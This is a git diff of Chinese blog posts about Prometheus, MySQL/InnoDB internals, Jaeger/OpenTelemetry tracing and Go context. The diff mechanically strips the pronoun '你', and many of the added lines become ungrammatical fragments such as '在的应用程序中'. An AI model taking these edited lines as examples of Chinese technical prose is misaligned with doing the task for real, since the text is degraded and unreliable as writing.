暴露指标给 Prometheus: -你需要提供一个 HTTP 端点，通常是 /metrics，供 Prometheus 服务器抓取。 +需要提供一个 HTTP 端点，通常是 /metrics，供 Prometheus 服务器抓取。 ```go http.Handle("/metrics", promhttp.Handler()) @@ -252,4 +252,4 @@ http.Handle("/metrics", promhttp.Handler()) ```go http.ListenAndServe(":8080", nil) ``` -将上述代码组合在一起，你就可以在你的应用程序中统计和暴露 HTTP 请求的耗时了。确保你已经正确地设置了 Prometheus 服务器来抓取你的应用程序的 /metrics 端点。 \ No newline at end of file +将上述代码组合在一起，就可以在的应用程序中统计和暴露 HTTP 请求的耗时了。确保已经正确地设置了 Prometheus 服务器来抓取的应用程序的 /metrics 端点。 \ No newline at end of file diff --git a/_posts/2023-10-17-test-markdown.md b/_posts/2023-10-17-test-markdown.md index 39c80b75df17..7bb05b4c8c55 100644 --- a/_posts/2023-10-17-test-markdown.md +++ b/_posts/2023-10-17-test-markdown.md @@ -193,7 +193,7 @@ SELECT * FROM orders WHERE order_date = '2022-01-01'; 安全性：为了防止SQL注入或确保数据隔离，中间件可能需要重写查询。 -> 描述你之前如何实现数据分片。你使用了哪种策略？ +> 描述之前如何实现数据分片。使用了哪种策略？ 选择分片键：首先确定一个分片键，它是决定数据如何分布到各个分片上的关键。常见的分片键包括用户ID、订单ID等。 @@ -261,10 +261,10 @@ SELECT * FROM orders WHERE order_date = '2022-01-01'; 总之，分布式事务是一个复杂的问题，需要深入的理解和精心的设计来确保数据的一致性和系统的可用性。 -> 当你遇到性能瓶颈时，你通常如何诊断和解决问题？你使用了哪些工具或策略来监控数据库中间件的性能和健康状况？ +> 当遇到性能瓶颈时，通常如何诊断和解决问题？使用了哪些工具或策略来监控数据库中间件的性能和健康状况？ -> 如何在数据库中间件中实现多租户支持？你如何确保数据隔离和安全性？ +> 如何在数据库中间件中实现多租户支持？如何确保数据隔离和安全性？ 实现数据库中间件的多租户支持是一个复杂的过程，涉及到数据的隔离、资源的分配以及安全性的保障。以下是一些建议的步骤和策略： diff --git a/_posts/2023-10-18-test-markdown.md b/_posts/2023-10-18-test-markdown.md index 66cd35c473ee..5631de7f0e23 100644 --- a/_posts/2023-10-18-test-markdown.md +++ b/_posts/2023-10-18-test-markdown.md @@ -93,7 +93,7 @@ SELECT * FROM orders WHERE customer_id = 1001 AND order_date > '2022-01-01'; 通过这种方式，索引下推可以减少不必要的数据访问，从而提高查询性能。 如何设置 -ICP 在 MySQL 5.6 及更高版本中默认启用。你可以通过以下方式检查它是否已启用： +ICP 在 MySQL 5.6 及更高版本中默认启用。可以通过以下方式检查它是否已启用： ```sql SHOW VARIABLES LIKE 'optimizer_switch'; @@ -230,7 +230,7 @@ InnoDB 利用了 "所有数据都有多个版本" 的这个特性，实现了 " 数据版本：当事务更新一行数据时，InnoDB不会直接覆盖原始数据，而是为这行数据创建一个新的版本，并将当前事务的ID赋给这个新版本的row trx_id。原始数据（旧版本）仍然被保留，并且新版本中有一个指针指向它。 -> 即使你使用一个简单的UPDATE语句（不在显式的事务块中），InnoDB仍然会为这行数据创建一个新的版本。这是因为InnoDB存储引擎在内部为每个UPDATE或DELETE操作隐式地启动了一个事务。所以，无论是在显式事务中还是单独的UPDATE/DELETE操作，InnoDB都会使用MVCC来处理数据的修改，不会直接覆盖原始数据。这种行为支持了InnoDB的事务隔离特性，并允许其他事务在同一时间读取旧版本的数据，直到新事务提交并使新版本的数据变得可见。 +> 即使使用一个简单的UPDATE语句（不在显式的事务块中），InnoDB仍然会为这行数据创建一个新的版本。这是因为InnoDB存储引擎在内部为每个UPDATE或DELETE操作隐式地启动了一个事务。所以，无论是在显式事务中还是单独的UPDATE/DELETE操作，InnoDB都会使用MVCC来处理数据的修改，不会直接覆盖原始数据。这种行为支持了InnoDB的事务隔离特性，并允许其他事务在同一时间读取旧版本的数据，直到新事务提交并使新版本的数据变得可见。 读取数据时的版本可见性 @@ -242,7 +242,7 @@ InnoDB 利用了 "所有数据都有多个版本" 的这个特性，实现了 " 根据上面的规则，数据的可见性可以确定为： -如果数据版本的row trx_id与读取事务的ID相同，那么这个版本是可见的（因为你总是可以看到自己的修改）。 +如果数据版本的row trx_id与读取事务的ID相同，那么这个版本是可见的（因为总是可以看到自己的修改）。 如果数据版本的row trx_id比读取事务的ID大（即，数据版本是在读取事务开始后创建的），那么这个版本是不可见的。 @@ -278,7 +278,7 @@ InnoDB 利用了 "所有数据都有多个版本" 的这个特性，实现了 " 提交事务：如果事务成功地修改了数据并且没有遇到其他问题，它会提交，这时候更改会被永久保存。 3. 两阶段锁协议 -你提到的“两阶段协议”是数据库事务管理中的一个重要概念。简单来说，它规定了事务如何加锁和释放锁： +提到的“两阶段协议”是数据库事务管理中的一个重要概念。简单来说，它规定了事务如何加锁和释放锁： Growing Phase：在这个阶段，事务可以获取任意数量的锁，但不能释放任何锁。 @@ -404,7 +404,7 @@ WAL 技术：全称是 Write-Ahead Logging ，它的关键点就是先写日志 ## 数据库 flush 首先，我们需要理解几个关键概念： -Redo Log：这是一个用于确保事务持久性的日志系统。当你对数据库进行更改（如插入、更新、删除等）时，这些更改首先被写入到redo log中，然后在稍后的某个时间点，这些更改会被应用到实际的数据文件中。 +Redo Log：这是一个用于确保事务持久性的日志系统。当对数据库进行更改（如插入、更新、删除等）时，这些更改首先被写入到redo log中，然后在稍后的某个时间点，这些更改会被应用到实际的数据文件中。 Checkpoint：这是一个特定的点，表示到此点为止的所有事务都已经保存到数据文件中。 @@ -418,7 +418,7 @@ Checkpoint：这是一个特定的点，表示到此点为止的所有事务都 即使在系统忙碌时，MySQL也会尝试在后台刷新脏页。这是为了确保数据的持久性并优化性能。 -当你正常关闭MySQL时，它会确保所有在内存中的脏页都被写入磁盘，确保数据的完整性。 +当正常关闭MySQL时，它会确保所有在内存中的脏页都被写入磁盘，确保数据的完整性。 ## 引发数据库 flush 的情况： @@ -427,20 +427,20 @@ InnoDB 的 redo log 写满了，这时候系统会停止所有更新操作，把 系统空间不足。当需要新的内存页，而内存不够用的时候，就要淘汰一些数据页，空出内存给别的数据页使用。如果淘汰的是脏页，就要先将脏页写到磁盘。 MySQL 认为系统 "空闲" 的时候，但即使是不空闲的时候，MySQL 也会见缝插针地找时间，只要有机会就刷一点脏页 MySQL 正常关闭的情况下，这时候，MySQL 会把内存的脏页都 flush 到磁盘上。 -对于脏页，脏页会被后台线程自动 flush，也会由于数据页淘汰而触发 flush，而刷脏页的过程由于会占用资源，就有可能会让你的更新和查询语句的响应时间长一些。 +对于脏页，脏页会被后台线程自动 flush，也会由于数据页淘汰而触发 flush，而刷脏页的过程由于会占用资源，就有可能会让的更新和查询语句的响应时间长一些。 ## 为什么表中的数据被删除了，但是表空间却没有被回收？ InnoDB存储结构：InnoDB使用一个称为表空间的结构来存储数据。默认情况下，所有InnoDB表的数据和索引都存储在一个名为ibdata1的共享表空间文件中。 -删除操作：当你从InnoDB表中删除数据时，数据确实会被删除，但是与此数据相关的空间只会在InnoDB内部被标记为可用，而不会被立即返回给操作系统。 +删除操作：当从InnoDB表中删除数据时，数据确实会被删除，但是与此数据相关的空间只会在InnoDB内部被标记为可用，而不会被立即返回给操作系统。 -空间再利用：尽管这些空间没有被返回给操作系统，但InnoDB仍然可以再次使用它们。如果你在后续的操作中插入新的数据，InnoDB会优先使用这些已释放的空间。 +空间再利用：尽管这些空间没有被返回给操作系统，但InnoDB仍然可以再次使用它们。如果在后续的操作中插入新的数据，InnoDB会优先使用这些已释放的空间。 -表空间回收：要真正从磁盘上回收这些空间，你通常需要执行额外的操作，如优化表（OPTIMIZE TABLE命令）。但请注意，这通常涉及重建整个表，可能需要很长时间，并且在此过程中表可能会被锁定。 +表空间回收：要真正从磁盘上回收这些空间，通常需要执行额外的操作，如优化表（OPTIMIZE TABLE命令）。但请注意，这通常涉及重建整个表，可能需要很长时间，并且在此过程中表可能会被锁定。 -文件-per-table模式：在较新版本的MySQL中，你可以启用innodb_file_per_table配置选项，这样每个InnoDB表都会有其自己的表空间文件。这可以使空间管理更加灵活，因为当你优化或删除一个表时，与该表相关的空间可以被操作系统回收。 +文件-per-table模式：在较新版本的MySQL中，可以启用innodb_file_per_table配置选项，这样每个InnoDB表都会有其自己的表空间文件。这可以使空间管理更加灵活，因为当优化或删除一个表时，与该表相关的空间可以被操作系统回收。 碎片化：随着时间的推移，表空间可能会碎片化，尤其是在频繁的插入、删除和更新操作之后。这也是为什么表的物理大小可能大于实际存储的数据大小。 diff --git a/_posts/2023-10-19-test-markdown.md b/_posts/2023-10-19-test-markdown.md index 38e4ba2fd06a..850aa65f400d 100644 --- a/_posts/2023-10-19-test-markdown.md +++ b/_posts/2023-10-19-test-markdown.md @@ -7,30 +7,30 @@ comments: true --- -> 请谈谈你对OpenTelemetry和Jaeger的看法。它们如何协同工作？ +> 请谈谈对OpenTelemetry和Jaeger的看法。它们如何协同工作？ OpenTelemetry： 定义：OpenTelemetry是一个开源项目，旨在为应用程序提供一致的、跨语言的遥测（包括追踪、度量和日志）。 标准化：OpenTelemetry为遥测数据提供了标准化的API、SDK和约定，这使得开发者可以在多种工具和平台上使用统一的接口。 自动化：OpenTelemetry提供了自动化的工具和库，可以无侵入地为应用程序添加追踪和度量。 -扩展性：OpenTelemetry设计为可扩展的，支持多种导出器，这意味着你可以将数据发送到多种后端和工具，如Jaeger、Prometheus、Zipkin等。 +扩展性：OpenTelemetry设计为可扩展的，支持多种导出器，这意味着可以将数据发送到多种后端和工具，如Jaeger、Prometheus、Zipkin等。 标准化的API: ```go span := tracer.Start("requestHandler") defer span.End() -// tracer.Start是OpenTelemetry API的一部分，无论你使用哪个监控工具，代码都保持不变。 +// tracer.Start是OpenTelemetry API的一部分，无论使用哪个监控工具，代码都保持不变。 ``` 标准化的SDK: ```text -SDK是API的具体实现。当你调用tracer.Start时，背后的逻辑（如何存储追踪数据、如何处理它等）由SDK处理。 -使用OpenTelemetry SDK：你可以配置SDK以决定如何收集和导出数据。例如，你可以设置每分钟只导出100个追踪，或者只导出那些超过1秒的追踪。 +SDK是API的具体实现。当调用tracer.Start时，背后的逻辑（如何存储追踪数据、如何处理它等）由SDK处理。 +使用OpenTelemetry SDK：可以配置SDK以决定如何收集和导出数据。例如，可以设置每分钟只导出100个追踪，或者只导出那些超过1秒的追踪。 ``` 约定: 约定是关于如何命名追踪、如何组织它们以及如何描述它们的共同规则。 例如，OpenTelemetry可能有一个约定，所有HTTP请求的追踪都应该有一个名为http.method的属性，其值为HTTP方法（如GET、POST等）。 -使用OpenTelemetry约定：当你记录一个HTTP请求时，你会这样做： +使用OpenTelemetry约定：当记录一个HTTP请求时，会这样做： ```go span.SetAttribute("http.method", "GET") ``` @@ -40,18 +40,18 @@ Jaeger： 存储和扩展性：Jaeger支持多种存储后端，如Elasticsearch、Cassandra和Kafka，可以根据需要进行扩展。 集成：Jaeger与多种工具和平台集成，如Kubernetes、Istio和Envoy。 如何协同工作： -OpenTelemetry为应用程序提供了追踪和度量的能力。当你使用OpenTelemetry SDK来为你的应用程序添加追踪时，它会生成追踪数据。 -这些追踪数据可以通过OpenTelemetry的Jaeger导出器发送到Jaeger后端。这意味着，使用OpenTelemetry，你可以轻松地将追踪数据集成到Jaeger中。 -在Jaeger中，你可以查询、分析和可视化这些追踪数据，以获得系统的深入视图和性能洞察。 +OpenTelemetry为应用程序提供了追踪和度量的能力。当使用OpenTelemetry SDK来为的应用程序添加追踪时，它会生成追踪数据。 +这些追踪数据可以通过OpenTelemetry的Jaeger导出器发送到Jaeger后端。这意味着，使用OpenTelemetry，可以轻松地将追踪数据集成到Jaeger中。 +在Jaeger中，可以查询、分析和可视化这些追踪数据，以获得系统的深入视图和性能洞察。 总的来说，OpenTelemetry和Jaeger是分布式追踪领域的强大组合。OpenTelemetry提供了数据收集的标准化和自动化，而Jaeger提供了数据的存储、查询和可视化。这两者的结合为微服务和分布式系统提供了强大的监控和诊断能力。 > Jaeger的基础存储 -可插拔存储后端：Jaeger支持多种存储后端，包括Elasticsearch、Cassandra、Kafka和Badger等。这种可插拔的设计意味着你可以选择最适合你的环境和需求的存储后端。虽然 Jaeger 本身的存储可能足够用于开发和测试环境，但在生产环境中，一个健壮的外部存储后端几乎总是必需的。 +可插拔存储后端：Jaeger支持多种存储后端，包括Elasticsearch、Cassandra、Kafka和Badger等。这种可插拔的设计意味着可以选择最适合的环境和需求的存储后端。虽然 Jaeger 本身的存储可能足够用于开发和测试环境，但在生产环境中，一个健壮的外部存储后端几乎总是必需的。 存储结构：Jaeger的追踪数据通常存储为一系列的spans。每个span代表一个操作或任务，并包含其开始时间、结束时间、标签、日志和其他元数据。这些spans被组织成traces，每个trace代表一个完整的请求或事务。 -数据保留策略：由于追踪数据可能会非常大，通常需要设置数据保留策略，以确定数据应该存储多长时间。例如，你可能决定只保留最近30天的追踪数据。 +数据保留策略：由于追踪数据可能会非常大，通常需要设置数据保留策略，以确定数据应该存储多长时间。例如，可能决定只保留最近30天的追踪数据。 性能和可扩展性：存储后端需要能够快速写入和查询大量的追踪数据。为了满足这些需求，许多存储后端（如Elasticsearch和Cassandra）被设计为分布式的，可以水平扩展以处理更多的数据。 @@ -67,12 +67,12 @@ OpenTelemetry为应用程序提供了追踪和度量的能力。当你使用Open Badger存储：Badger是一个嵌入式的键/值存储，可以在本地文件系统中持久化数据。Jaeger可以配置为使用Badger作为其存储后端，这为那些不想设置外部存储系统（如Elasticsearch或Cassandra）的用户提供了一个简单的持久化选项。 -外部存储后端：虽然Jaeger支持Elasticsearch、Cassandra和Kafka作为存储后端，但这并不意味着它们在默认配置中都被使用。你需要明确地配置Jaeger以使用这些后端，并确保相应的存储系统已经设置并运行。 +外部存储后端：虽然Jaeger支持Elasticsearch、Cassandra和Kafka作为存储后端，但这并不意味着它们在默认配置中都被使用。需要明确地配置Jaeger以使用这些后端，并确保相应的存储系统已经设置并运行。 ```shell -代理和收集器：当你发送追踪数据到Jaeger时，你通常首先发送到Jaeger代理，然后代理将数据转发到Jaeger收集器。收集器负责将数据写入配置的存储后端。 +代理和收集器：当发送追踪数据到Jaeger时，通常首先发送到Jaeger代理，然后代理将数据转发到Jaeger收集器。收集器负责将数据写入配置的存储后端。 -应用程序/服务：这是开始点。当一个请求进入你的应用程序或服务时，OpenTelemetry或Jaeger客户端库会开始记录一个追踪。追踪包含了请求从开始到结束的所有信息，包括调用的各个服务、函数和外部资源。 +应用程序/服务：这是开始点。当一个请求进入的应用程序或服务时，OpenTelemetry或Jaeger客户端库会开始记录一个追踪。追踪包含了请求从开始到结束的所有信息，包括调用的各个服务、函数和外部资源。 Jaeger-client：这个库在应用程序中集成，负责收集追踪数据。它还可以进行采样决策，决定是否将某个特定的追踪发送到Jaeger代理。 @@ -113,12 +113,12 @@ jaeger-agent --reporter.grpc.host-port=jaeger-collector.example.com:14250 选择存储后端： -根据你的需求和环境选择一个存储后端，如Elasticsearch、Cassandra或Kafka。 -设置和配置所选的存储后端。例如，对于Elasticsearch，你可能需要设置一个Elasticsearch集群。 +根据的需求和环境选择一个存储后端，如Elasticsearch、Cassandra或Kafka。 +设置和配置所选的存储后端。例如，对于Elasticsearch，可能需要设置一个Elasticsearch集群。 部署Jaeger收集器： 在一个或多个节点上部署Jaeger收集器。 -配置收集器以连接到你的存储后端。 +配置收集器以连接到的存储后端。 如果有多个收集器实例，考虑使用负载均衡器来分发从Jaeger代理接收的数据。 部署Jaeger代理： @@ -127,27 +127,27 @@ jaeger-agent --reporter.grpc.host-port=jaeger-collector.example.com:14250 部署Jaeger查询服务： 部署Jaeger查询服务，它提供了一个API和UI来查询和查看追踪数据。 -配置查询服务以连接到你的存储后端。 +配置查询服务以连接到的存储后端。 配置服务和应用程序： -在你的服务和应用程序中集成Jaeger客户端库。 +在的服务和应用程序中集成Jaeger客户端库。 配置客户端库以将追踪数据发送到本地的Jaeger代理。 监控和日志： 配置Jaeger组件的日志和监控，以便在出现问题时能够快速诊断和解决。 优化和调整： -根据你的环境和流量模式，调整Jaeger的配置和资源分配。 +根据的环境和流量模式，调整Jaeger的配置和资源分配。 考虑使用Jaeger的采样功能来减少存储和传输的数据量。 备份和恢复： -定期备份你的存储后端数据。 -确保你有一个恢复策略，以便在出现故障时能够恢复数据。 +定期备份的存储后端数据。 +确保有一个恢复策略，以便在出现故障时能够恢复数据。 安全性： 考虑为Jaeger组件和存储后端启用TLS/SSL。 如果需要，配置身份验证和授权。 -通过以上步骤，你可以在分布式环境中部署Jaeger，从而实现高可用性、扩展性和故障隔离。这种部署方式特别适合大型或复杂的微服务和分布式系统。 +通过以上步骤，可以在分布式环境中部署Jaeger，从而实现高可用性、扩展性和故障隔离。这种部署方式特别适合大型或复杂的微服务和分布式系统。 > 使用Docker模拟部署分布式Jaeger的步骤 使用Docker部署分布式Jaeger是一个很好的选择，因为Docker提供了一个轻量级、隔离的环境，可以轻松地模拟分布式部署。以下是使用Docker模拟部署分布式Jaeger的步骤： @@ -173,19 +173,19 @@ docker run --name jaeger-agent -d -p 5775:5775/udp -p 6831:6831/udp -p 6832:6832 docker run --name jaeger-query -d -p 16686:16686 -e SPAN_STORAGE_TYPE=elasticsearch -e ES_SERVER_URLS=http://:9200 jaegertracing/jaeger-query:latest ``` 验证部署： -打开浏览器并访问`http://:16686`，你应该能够看到Jaeger UI。 +打开浏览器并访问`http://:16686`，应该能够看到Jaeger UI。 配置服务和应用程序： -在你的服务和应用程序中集成Jaeger客户端库，并配置它们将追踪数据发送到上面启动的Jaeger代理。 +在的服务和应用程序中集成Jaeger客户端库，并配置它们将追踪数据发送到上面启动的Jaeger代理。 监控和日志： 使用`docker logs `来查看每个Jaeger组件的日志。 注意： -``应该替换为你的Docker宿主机的IP地址。 -在真实的生产环境中，你可能还需要考虑网络、存储、备份、安全性和其他配置。 -这些步骤只是为了模拟一个简单的分布式Jaeger部署。在真实的生产环境中，你可能需要更复杂的配置和部署策略。 +``应该替换为的Docker宿主机的IP地址。 +在真实的生产环境中，可能还需要考虑网络、存储、备份、安全性和其他配置。 +这些步骤只是为了模拟一个简单的分布式Jaeger部署。在真实的生产环境中，可能需要更复杂的配置和部署策略。 总之，使用Docker可以轻松地模拟Jaeger的分布式部署，这对于开发、测试和学习都是非常有用的。 @@ -195,7 +195,7 @@ docker run --name jaeger-query -d -p 16686:16686 -e SPAN_STORAGE_TYPE=elasticsea 采样策略： 为了减少追踪数据的量并降低系统开销，Jaeger支持多种采样策略。例如，概率采样只会追踪一定比例的请求。 -选择合适的采样策略可以确保你捕获到有代表性的追踪数据，同时不会对系统产生过大的负担。 +选择合适的采样策略可以确保捕获到有代表性的追踪数据，同时不会对系统产生过大的负担。 追踪数据的传输： Jaeger客户端库通常会在内存中缓存追踪数据，并批量发送到Jaeger后端，以减少网络调用的次数和延迟。 @@ -245,7 +245,7 @@ samplingRate: 设置采样率，范围从0到1。例如，0.2表示20%的追踪 maxTracesPerSecond: 每秒允许的最大追踪数。 远程采样 (remote): -这种策略允许你从Jaeger代理动态地获取采样策略。 +这种策略允许从Jaeger代理动态地获取采样策略。 代理会定期从Jaeger收集器中拉取策略。 如何设置采样策略： @@ -275,14 +275,14 @@ func main() { ``` 在上面的示例中，我们设置了概率采样策略，并指定了20%的采样率。 -如果你使用的是Jaeger代理，你可以使用命令行参数或环境变量来配置采样策略。例如，使用以下命令行参数启动Jaeger代理并设置概率采样率为20%： +如果使用的是Jaeger代理，可以使用命令行参数或环境变量来配置采样策略。例如，使用以下命令行参数启动Jaeger代理并设置概率采样率为20%： ```go docker run -d -p 5775:5775/udp -p 6831:6831/udp -p 6832:6832/udp -p 5778:5778/tcp jaegertracing/jaeger-agent --sampler.type=probabilistic --sampler.param=0.2 ``` -> 假设在一个微服务环境中，你发现一个服务的追踪数据没有出现在Jaeger UI中，你会如何调查和解决这个问题？ +> 假设在一个微服务环境中，发现一个服务的追踪数据没有出现在Jaeger UI中，会如何调查和解决这个问题？ 如果在微服务环境中某个服务的追踪数据没有出现在Jaeger UI中，以下是一些调查和解决问题的步骤： @@ -339,7 +339,7 @@ Trace: Baggage: 定义: Baggage是与Trace相关的键值对数据，它在Trace的所有Span之间传播。 -详细解释: Baggage允许你在整个Trace的生命周期中携带数据。例如，你可能想在Trace的开始时设置一个“用户ID”或“实验变种”，然后在后续的Span中访问这些数据。Baggage可以帮助实现跨服务的上下文传播。 +详细解释: Baggage允许在整个Trace的生命周期中携带数据。例如，可能想在Trace的开始时设置一个“用户ID”或“实验变种”，然后在后续的Span中访问这些数据。Baggage可以帮助实现跨服务的上下文传播。 Context: 定义: Context是一个抽象概念，用于在不同的操作和函数调用之间传递元数据，如Span和Baggage。 @@ -370,33 +370,33 @@ Jaeger提供了一些高级的性能优化功能，如自适应采样，这有 虽然Zipkin也有一个强大的生态系统，但Jaeger在与其他云原生工具的集成方面可能有优势。 扩展性: -Jaeger的架构设计为模块化，这使得它更容易扩展和自定义。例如，你可以轻松地添加新的存储后端或采样策略。 -总的来说，虽然Jaeger和Zipkin都是优秀的分布式追踪系统，但它们在设计、特性和生态系统方面有所不同。选择哪一个取决于你的具体需求、偏好和现有的技术栈。 +Jaeger的架构设计为模块化，这使得它更容易扩展和自定义。例如，可以轻松地添加新的存储后端或采样策略。 +总的来说，虽然Jaeger和Zipkin都是优秀的分布式追踪系统，但它们在设计、特性和生态系统方面有所不同。选择哪一个取决于的具体需求、偏好和现有的技术栈。 > 如何根据实际的业务场景选择合适的采样策略？ -场景: 你有一个API，每秒处理数万个请求，每个请求的处理时间都很短。 -采样策略: 使用概率采样，设置一个较低的采样率（例如0.1%或1%）。这样，你可以捕获代表性的追踪，同时保持开销在可接受的范围内。 +场景: 有一个API，每秒处理数万个请求，每个请求的处理时间都很短。 +采样策略: 使用概率采样，设置一个较低的采样率（例如0.1%或1%）。这样，可以捕获代表性的追踪，同时保持开销在可接受的范围内。 关键业务流程: -场景: 你有一个关键的业务流程，例如支付或订单处理，你希望对其进行全面监控。 -采样策略: 使用常量采样并始终采样。对于这种关键路径，你可能希望捕获所有追踪，以确保最高的可见性。 +场景: 有一个关键的业务流程，例如支付或订单处理，希望对其进行全面监控。 +采样策略: 使用常量采样并始终采样。对于这种关键路径，可能希望捕获所有追踪，以确保最高的可见性。 新发布的服务: -场景: 你刚刚发布了一个新服务，希望对其进行密切监控，以捕获任何潜在的问题。 +场景: 刚刚发布了一个新服务，希望对其进行密切监控，以捕获任何潜在的问题。 采样策略: 初始阶段可以使用常量采样并始终采样。一旦服务稳定，可以切换到概率采样或速率限制采样。 不规则的流量模式: -场景: 你有一个服务，其流量模式非常不规则，有时候非常高，有时候非常低。 -采样策略: 使用速率限制采样，设置每秒的固定追踪数。这样，无论流量如何，你都可以保持一致的追踪率。 +场景: 有一个服务，其流量模式非常不规则，有时候非常高，有时候非常低。 +采样策略: 使用速率限制采样，设置每秒的固定追踪数。这样，无论流量如何，都可以保持一致的追踪率。 多服务环境: -场景: 你的微服务架构中有多个服务，每个服务都有不同的流量和重要性。 +场景: 的微服务架构中有多个服务，每个服务都有不同的流量和重要性。 采样策略: 对于关键服务，使用常量采样；对于高流量服务，使用概率采样；对于其他服务，可以使用速率限制采样。确保在整个系统中使用一致的采样决策，以避免断裂的追踪。 调试和故障排查: -场景: 你正在调试一个特定的问题，需要更详细的追踪数据。 +场景: 正在调试一个特定的问题，需要更详细的追踪数据。 采样策略: 临时使用常量采样并始终采样。一旦问题解决，恢复到之前的采样策略。 @@ -445,7 +445,7 @@ Parent Span ID：标识父span的ID。 线程局部存储（Thread-Local Storage, TLS）：使用TLS存储当前线程的追踪上下文。这意味着即使在并发环境中，每个线程也都有自己的追踪上下文，不会与其他线程混淆。 -手动传递上下文：在某些情况下，如使用协程或轻量级线程，您可能需要手动传递追踪上下文。这意味着当你启动一个新的并发任务时，你需要确保追踪上下文被适当地传递和更新。 +手动传递上下文：在某些情况下，如使用协程或轻量级线程，您可能需要手动传递追踪上下文。这意味着当启动一个新的并发任务时，需要确保追踪上下文被适当地传递和更新。 正确的父/子关系：确保在多线程环境中正确地标识span的父/子关系。例如，如果两个操作在不同的线程上并发执行，它们可能会有同一个父span，但是它们应该是兄弟关系，而不是父/子关系。 @@ -467,7 +467,7 @@ go func(ctx context.Context) { 正确的父/子关系: 使用 Go 的链路追踪工具，如 OpenTelemetry，可以帮助正确地维护 span 的关系。 -当创建一个新的 span 时，你可以指定它的父 span。如果两个操作在不同的 goroutines 中执行，并且它们是并发的，确保它们的 span 是兄弟关系，而不是父子关系。 +当创建一个新的 span 时，可以指定它的父 span。如果两个操作在不同的 goroutines 中执行，并且它们是并发的，确保它们的 span 是兄弟关系，而不是父子关系。 例如，使用 OpenTelemetry 的 Go SDK，可以创建和管理 span 的父子关系。 ```go tracer := otel.Tracer("example") @@ -505,11 +505,11 @@ Parent Span ID: 如果当前span是由另一个span触发或创建的，则这 创建索引的目的是加速特定字段的查询。例如，如果经常根据service name或某个tag来查询spans，那么对这些字段建立索引将大大提高查询速度。 实际实现: -使用关系型数据库如MySQL：你可以为spans创建一个表，其中每个字段（如service name, tags等）都是表的列。然后，对经常查询的列创建索引。 -使用NoSQL数据库如MongoDB：你可以为每个span创建一个文档，其中关键元数据是文档的字段。某些NoSQL数据库允许对字段创建索引，以加速查询。 +使用关系型数据库如MySQL：可以为spans创建一个表，其中每个字段（如service name, tags等）都是表的列。然后，对经常查询的列创建索引。 +使用NoSQL数据库如MongoDB：可以为每个span创建一个文档，其中关键元数据是文档的字段。某些NoSQL数据库允许对字段创建索引，以加速查询。 使用Elasticsearch：这是一个为搜索和实时分析设计的分布式搜索引擎。您可以将每个span作为一个文档存储在Elasticsearch中，然后根据需要对字段创建索引。 -这种设计方法确保当你在追踪系统中进行查询时，例如查找特定service name下的所有spans或根据特定tag筛 +这种设计方法确保当在追踪系统中进行查询时，例如查找特定service name下的所有spans或根据特定tag筛 > 如何传递追踪信息?谁来生成 id，什么算法? @@ -551,7 +551,7 @@ Snowflake 是一个用于生成64位ID的系统。这些ID在时间上是单调 定义通讯协议：确定服务器和客户端之间如何交换数据。这可能包括数据的序列化和反序列化方法，例如 JSON、XML、Protocol Buffers 或 MessagePack。 -定义服务接口：通常，你会定义一个接口来描述哪些方法可以远程调用。 +定义服务接口：通常，会定义一个接口来描述哪些方法可以远程调用。 客户端和服务器的实现： @@ -635,7 +635,7 @@ func main() { 我了解到 Skywalking 支持多种语言，如 Java, .NET, PHP, Node.js, Golang 和 Lua，并且它可以无缝地集成到许多流行的服务和框架中。它的 UI 提供了一个直观的仪表板，用于展示系统的各种指标和追踪数据。 -虽然我个人主要使用（你熟悉的追踪工具，例如：Jaeger、Zipkin 等）进行链路追踪，但我认为了解和比较不同的工具是很有价值的。每个工具都有其独特的特点和优势，而了解多个工具可以帮助我们根据特定的需求和场景选择最合适的解决方案。 +虽然我个人主要使用（熟悉的追踪工具，例如：Jaeger、Zipkin 等）进行链路追踪，但我认为了解和比较不同的工具是很有价值的。每个工具都有其独特的特点和优势，而了解多个工具可以帮助我们根据特定的需求和场景选择最合适的解决方案。 什么是分布式追踪？为什么它是重要的？ @@ -735,37 +735,37 @@ Context 的主要用途： > 创建新的 Context 的方法? context.Background()：这是最基本的 Context，通常在程序的主函数、初始化函数或测试中使用。它不可以被取消、没有超时时间、也不携带任何值。 -context.TODO()：当你不确定要使用哪种 Context，或者在你的函数结构中还未将 Context 传入，但又需要按照某个接口实现函数时，可以使用 TODO()。它在功能上与 Background 相同，但在代码中表达了这是一个需要进一步修改的临时占位符。 +context.TODO()：当不确定要使用哪种 Context，或者在的函数结构中还未将 Context 传入，但又需要按照某个接口实现函数时，可以使用 TODO()。它在功能上与 Background 相同，但在代码中表达了这是一个需要进一步修改的临时占位符。 context.WithCancel(parent Context)：这会创建一个新的 Context，当调用返回的 cancel 函数或当父 Context 被取消时，该 Context 也会被取消。 context.WithTimeout(parent Context, timeout time.Duration)：这会创建一个新的 Context，它会在超过给定的超时时间后或当父 Context 被取消时被取消。 context.WithDeadline(parent Context, deadline time.Time)：这会创建一个新的 Context，它会在达到给定的截止时间后或当父 Context 被取消时被取消。 context.WithValue(parent Context, key, val interface{})：这会创建一个从父 Context 派生出的新 Context，并关联一个键值对。这主要用于跨 API 边界传递请求范围的数据。 -> 在什么情况下你会使用 context.WithTimeout 和 context.WithCancel？如何检查 Context 是否已被取消？ +> 在什么情况下会使用 context.WithTimeout 和 context.WithCancel？如何检查 Context 是否已被取消？ -当想为某个操作或任务设置一个明确的超时时，你应该使用 context.WithTimeout。它在以下场景中非常有用： +当想为某个操作或任务设置一个明确的超时时，应该使用 context.WithTimeout。它在以下场景中非常有用： -外部服务调用：当程序需要调用一个外部服务（如HTTP请求、数据库查询等），并且你不希望这个调用无限期地等待，则可以设置一个超时。 +外部服务调用：当程序需要调用一个外部服务（如HTTP请求、数据库查询等），并且不希望这个调用无限期地等待，则可以设置一个超时。 资源控制：当想确保特定的资源（如工作线程或数据库连接）不会被长时间占用时。 -用户体验：当的程序需要在一定时间内响应用户，而你不想让用户等待过长的时间。 +用户体验：当的程序需要在一定时间内响应用户，而不想让用户等待过长的时间。 > 使用 context.WithCancel 的情况 -预期的长时间操作：例如，如果你有一个后台任务可能会运行很长时间，但你希望提供一个手动停止这个任务的方式。 +预期的长时间操作：例如，如果有一个后台任务可能会运行很长时间，但希望提供一个手动停止这个任务的方式。 -合并多个信号：当你想从多个源接收取消信号时。例如，你可能有多个 context，任何一个取消都应该导致操作停止。 +合并多个信号：当想从多个源接收取消信号时。例如，可能有多个 context，任何一个取消都应该导致操作停止。 -更细粒度的控制：当超时不适用，但你想在某些条件下停止操作。 +更细粒度的控制：当超时不适用，但想在某些条件下停止操作。 > 如何检查 Context 是否已被取消： -你可以使用 ctx.Done() 方法和 ctx.Err() 